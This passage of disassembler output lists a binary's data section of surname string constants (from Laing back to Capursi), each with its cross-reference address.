XREF: ___:off_432840o align 4 aLaing db 'Laing',0 ; DATA XREF: ___:0042E300o align 4 aLafler db 'Lafler',0 ; DATA XREF: ___:0042E2FCo align 4 aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E2F8o aLa db 'La',0 ; DATA XREF: ___:0042E2F4o align 10h aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E2F0o align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0042E2ECo align 4 aKumar db 'Kumar',0 ; DATA XREF: ___:0042E2E8o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E2E4o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E2E0o aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E2DCo aKraus db 'Kraus',0 ; DATA XREF: ___:0042E2D8o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E2D4o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E2D0o align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E2CCo aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E2C8o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0042E2C4o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E2C0o align 10h aKool db 'Kool',0 ; DATA XREF: ___:0042E2BCo align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E2B8o align 10h aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E2B4o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0042E2B0o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E2ACo align 10h aKohn db 'Kohn',0 ; DATA XREF: ___:0042E2A8o align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042E2A4o align 10h aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E2A0o aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E29Co align 10h aKlint db 'Klint',0 ; DATA XREF: ___:0042E298o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E294o aKling db 'Kling',0 ; DATA XREF: ___:0042E290o align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E28Co align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E288o aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E284o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E280o align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E27Co align 4 aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E278o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E274o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E270o aKindall db 'Kindall',0 ; DATA XREF: ___:0042E26Co aKimura db 'Kimura',0 ; DATA XREF: ___:0042E268o align 4 aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E264o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E260o align 4 aKhong db 'Khong',0 ; DATA XREF: ___:0042E25Co align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0042E258o align 4 aKerry db 'Kerry',0 ; DATA XREF: ___:0042E254o align 4 aKendall db 'Kendall',0 ; DATA XREF: ___:0042E250o aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E24Co aKempton db 'Kempton',0 ; DATA XREF: ___:0042E248o aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E244o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0042E240o align 4 aKeith db 'Keith',0 ; DATA XREF: ___:0042E23Co align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E238o aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E234o align 4 aKee db 'Kee',0 ; DATA XREF: ___:0042E230o aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E22Co aKasten db 'Kasten',0 ; DATA XREF: ___:0042E228o align 10h aKassower db 'Kassower',0 ; DATA XREF: ___:0042E224o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E220o align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042E21Co align 10h aKamel db 'Kamel',0 ; DATA XREF: ___:0042E218o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042E214o align 10h aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E210o align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042E20Co align 4 aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E208o align 10h aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E204o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E200o aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E1FCo align 10h aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E1F8o aJulious db 'Julious',0 ; DATA XREF: ___:0042E1F4o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E1F0o aJucks db 'Jucks',0 ; DATA XREF: ___:0042E1ECo align 10h aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E1E8o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042E1E4o align 4 aJohns db 'Johns',0 ; DATA XREF: ___:0042E1E0o align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E1DCo align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E1D8o aJewett db 'Jewett',0 ; DATA XREF: ___:0042E1D4o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E1D0o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E1CCo aJellis db 'Jellis',0 ; DATA XREF: ___:0042E1C8o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E1C4o aJay db 'Jay',0 ; DATA XREF: ___:0042E1C0o aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E1BCo aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E1B8o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E1B4o align 4 aJamil db 'Jamil',0 ; DATA XREF: ___:0042E1B0o align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042E1ACo align 4 aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E1A8o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042E1A4o align 4 aJagers db 'Jagers',0 ; DATA XREF: ___:0042E1A0o align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042E19Co aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E198o aIyer db 'Iyer',0 ; DATA XREF: ___:0042E194o align 4 aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E190o align 10h aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E18Co align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E188o align 4 aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E184o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042E180o align 4 aInamura db 'Inamura',0 ; DATA XREF: ___:0042E17Co aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E178o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E174o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E170o align 10h aHyde db 'Hyde',0 ; DATA XREF: ___:0042E16Co align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E168o align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E164o align 10h aHupp db 'Hupp',0 ; DATA XREF: ___:0042E160o align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E15Co align 4 aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E158o align 10h aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E154o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042E150o align 4 aHoy db 'Hoy',0 ; DATA XREF: ___:0042E14Co aHoward db 'Howard',0 ; DATA XREF: ___:0042E148o align 10h aHottle db 'Hottle',0 ; DATA XREF: ___:0042E144o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042E140o aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E13Co aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E138o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E134o aHooker db 'Hooker',0 ; DATA XREF: ___:0042E130o align 10h aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E12Co aHolway db 'Holway',0 ; DATA XREF: ___:0042E128o align 10h aHolter db 'Holter',0 ; DATA XREF: ___:0042E124o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E120o aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E11Co align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E118o align 10h aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E114o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E110o aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E10Co align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042E108o align 4 aHoang db 'Hoang',0 ; DATA XREF: ___:0042E104o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E100o align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042E0FCo align 10h aHind db 'Hind',0 ; DATA XREF: ___:0042E0F8o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E0F4o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E0F0o align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E0ECo aHester db 'Hester',0 ; DATA XREF: ___:0042E0E8o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E0E4o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E0E0o align 10h aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E0DCo align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042E0D8o align 4 aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E0D4o align 10h aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E0D0o aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E0CCo align 4 aHellman db 'Hellman',0 ; DATA XREF: ___:0042E0C8o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E0C4o aHeft db 'Heft',0 ; DATA XREF: ___:0042E0C0o align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E0BCo align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E0B8o align 4 aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E0B4o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042E0B0o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E0ACo align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E0A8o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E0A4o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E0A0o align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E09Co align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042E098o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E094o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E090o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E08Co align 10h aHarding db 'Harding',0 ; DATA XREF: ___:0042E088o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E084o aHand db 'Hand',0 ; DATA XREF: ___:0042E080o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E07Co align 4 aHamer db 'Hamer',0 ; DATA XREF: ___:0042E078o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E074o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E070o aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E06Co align 10h aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E068o aHaley db 'Haley',0 ; DATA XREF: ___:0042E064o align 10h aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E060o align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042E05Co aHaar db 'Haar',0 ; DATA XREF: ___:0042E058o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042E054o align 10h aGuo db 'Guo',0 ; DATA XREF: ___:0042E050o aGunn db 'Gunn',0 ; DATA XREF: ___:0042E04Co align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E048o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E044o align 10h aGruner db 'Gruner',0 ; DATA XREF: ___:0042E040o align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E03Co align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E038o align 10h aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E034o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E030o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E02Co align 4 aGravell db 'Gravell',0 ; DATA XREF: ___:0042E028o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E024o align 4 aGoody db 'Goody',0 ; DATA XREF: ___:0042E020o align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E01Co align 4 aGood db 'Good',0 ; DATA XREF: ___:0042E018o align 10h aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E014o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E010o align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042E00Co aGlegg db 'Glegg',0 ; DATA XREF: ___:0042E008o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042E004o aGist db 'Gist',0 ; DATA XREF: ___:0042E000o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DFFCo align 4 aGill db 'Gill',0 ; DATA XREF: ___:0042DFF8o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DFF4o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DFF0o aGibson db 'Gibson',0 ; DATA XREF: ___:0042DFECo align 4 aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DFE8o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DFE4o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DFE0o aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DFDCo align 4 aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DFD8o align 10h aGeller db 'Geller',0 ; DATA XREF: ___:0042DFD4o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DFD0o aGarman db 'Garman',0 ; DATA XREF: ___:0042DFCCo align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DFC8o align 4 aGambini db 'Gambini',0 ; DATA XREF: ___:0042DFC4o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DFC0o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DFBCo align 10h aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DFB8o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DFB4o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DFB0o align 10h aFurth db 'Furth',0 ; DATA XREF: ___:0042DFACo align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DFA8o align 10h aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DFA4o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DFA0o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DF9Co align 10h aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DF98o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DF94o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DF90o align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DF8Co align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DF88o align 10h aFreid db 'Freid',0 ; DATA XREF: ___:0042DF84o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DF80o align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DF7Co align 10h aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DF78o align 10h aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DF74o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DF70o align 4 aFossey db 'Fossey',0 ; DATA XREF: ___:0042DF6Co align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DF68o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DF64o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DF60o align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DF5Co align 10h aFlores db 'Flores',0 ; DATA XREF: ___:0042DF58o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DF54o align 10h aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DF50o aFisk db 'Fisk',0 ; DATA XREF: ___:0042DF4Co align 4 aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DF48o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DF44o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DF40o aFink db 'Fink',0 ; DATA XREF: ___:0042DF3Co align 4 aField db 'Field',0 ; DATA XREF: ___:0042DF38o align 4 aFido db 'Fido',0 ; DATA XREF: ___:0042DF34o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DF30o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DF2Co align 10h aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DF28o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DF24o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DF20o aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DF1Co aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DF18o align 10h aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DF14o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DF10o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DF0Co align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DF08o align 4 aFarone db 'Farone',0 ; DATA XREF: ___:0042DF04o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DF00o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DEFCo aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DEF8o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DEF4o align 4 aFagan db 'Fagan',0 ; DATA XREF: ___:0042DEF0o align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DEECo aEverett db 'Everett',0 ; DATA XREF: ___:0042DEE8o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DEE4o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DEE0o align 10h aEstes db 'Estes',0 ; DATA XREF: ___:0042DEDCo align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DED8o align 4 aErez db 'Erez',0 ; DATA XREF: ___:0042DED4o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DED0o align 4 aErdman db 'Erdman',0 ; DATA XREF: ___:0042DECCo align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DEC8o align 4 aEppling db 'Eppling',0 ; DATA XREF: ___:0042DEC4o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DEC0o aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DEBCo aElvis db 'Elvis',0 ; DATA XREF: ___:0042DEB8o align 4 aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DEB4o align 10h aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DEB0o align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DEACo align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DEA8o aEdward db 'Edward',0 ; DATA XREF: ___:0042DEA4o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DEA0o align 4 aEdley db 'Edley',0 ; DATA XREF: ___:0042DE9Co align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DE98o align 4 aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DE94o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DE90o aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DE8Co align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DE88o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DE84o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DE80o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DE7Co aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DE78o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DE74o align 4 aDoug db 'Doug',0 ; DATA XREF: ___:0042DE70o align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DE6Co align 4 aDosi db 'Dosi',0 ; DATA XREF: ___:0042DE68o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DE64o align 4 aDore db 'Dore',0 ; DATA XREF: ___:0042DE60o align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DE5Co align 4 aDonner db 'Donner',0 ; DATA XREF: ___:0042DE58o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DE54o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DE50o aDockery db 'Dockery',0 ; DATA XREF: ___:0042DE4Co aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DE48o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DE44o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DE40o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DE3Co align 10h aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DE38o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DE34o align 4 aDicks db 'Dicks',0 ; DATA XREF: ___:0042DE30o align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DE2Co align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DE28o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DE24o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DE20o aDenham db 'Denham',0 ; DATA XREF: ___:0042DE1Co align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DE18o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DE14o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DE10o align 4 aDeming db 'Deming',0 ; DATA XREF: ___:0042DE0Co align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DE08o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DE04o align 10h aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DE00o align 10h aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DDFCo align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DDF8o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DDF4o align 10h aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DDF0o aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DDECo align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDE8o align 10h aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DDE4o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DDE0o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DDDCo aDavid db 'David',0 ; DATA XREF: ___:0042DDD8o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DDD4o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DDD0o align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DDCCo aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDC8o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DDC4o align 4 aDante db 'Dante',0 ; DATA XREF: ___:0042DDC0o align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DDBCo aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DDB8o aDaly db 'Daly',0 ; DATA XREF: ___:0042DDB4o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DDB0o align 10h aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DDACo aCyders db 'Cyders',0 ; DATA XREF: ___:0042DDA8o align 10h aCvek db 'Cvek',0 ; DATA XREF: ___:0042DDA4o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042DDA0o align 10h aCurrier db 'Currier',0 ; DATA XREF: ___:0042DD9Co aCui db 'Cui',0 ; DATA XREF: ___:0042DD98o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DD94o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DD90o align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DD8Co aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DD88o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DD84o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042DD80o aCounter db 'Counter',0 ; DATA XREF: ___:0042DD7Co aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042DD78o align 4 aCornish db 'Cornish',0 ; DATA XREF: ___:0042DD74o aCorey db 'Corey',0 ; DATA XREF: ___:0042DD70o align 4 aConnors db 'Connors',0 ; DATA XREF: ___:0042DD6Co aCondodina db 'Condodina',0 ; DATA XREF: ___:0042DD68o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042DD64o aComstock db 'Comstock',0 ; DATA XREF: ___:0042DD60o align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042DD58o ; ___:0042DD5Co aCollis db 'Collis',0 ; DATA XREF: ___:0042DD54o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042DD50o aColella db 'Colella',0 ; DATA XREF: ___:0042DD4Co aColdren db 'Coldren',0 ; DATA XREF: ___:0042DD48o aCoito db 'Coito',0 ; DATA XREF: ___:0042DD44o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042DD40o aClow db 'Clow',0 ; DATA XREF: ___:0042DD3Co align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042DD38o aClement db 'Clement',0 ; DATA XREF: ___:0042DD34o aClark db 'Clark',0 ; DATA XREF: ___:0042DD30o align 4 aClancy db 'Clancy',0 ; DATA XREF: ___:0042DD2Co align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042DD28o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042DD24o align 10h aCicero db 'Cicero',0 ; DATA XREF: ___:0042DD20o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042DD1Co align 4 aChurch db 'Church',0 ; DATA XREF: ___:0042DD18o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042DD14o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042DD10o aChristopher db 'Christopher',0 ; DATA XREF: ___:0042DD0Co aChristie db 'Christie',0 ; DATA XREF: ___:0042DD08o align 4 aChristiano db 'Christiano',0 ; DATA XREF: ___:0042DD04o align 10h aChristian db 'Christian',0 ; DATA XREF: ___:0042DD00o align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042DCFCo aChinman db 'Chinman',0 ; DATA XREF: ___:0042DCF8o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042DCF4o aChilds db 'Childs',0 ; DATA XREF: ___:0042DCF0o align 4 aChildress db 'Childress',0 ; DATA XREF: ___:0042DCECo align 10h aChien db 'Chien',0 ; DATA XREF: ___:0042DCE8o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042DCE4o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042DCE0o align 10h aCherry db 'Cherry',0 ; DATA XREF: ___:0042DCDCo align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042DCD8o align 10h aCharles db 'Charles',0 ; DATA XREF: ___:0042DCD4o aChapman db 'Chapman',0 ; DATA XREF: ___:0042DCD0o aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042DCCCo aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042DCC8o align 4 aCavell db 'Cavell',0 ; DATA XREF: ___:0042DCC4o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042DCC0o align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042DCBCo align 4 aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DCB8o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042DCB4o align 4 aCascio db 'Cascio',0 ; DATA XREF: ___:0042DCB0o align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DCACo align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042DCA8o align 10h aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DCA4o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DCA0o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DC9Co aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DC98o align 4 aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DC94o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DC90o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DC8Co aCapursi db 'Capursi',0 ; DATA XREF: 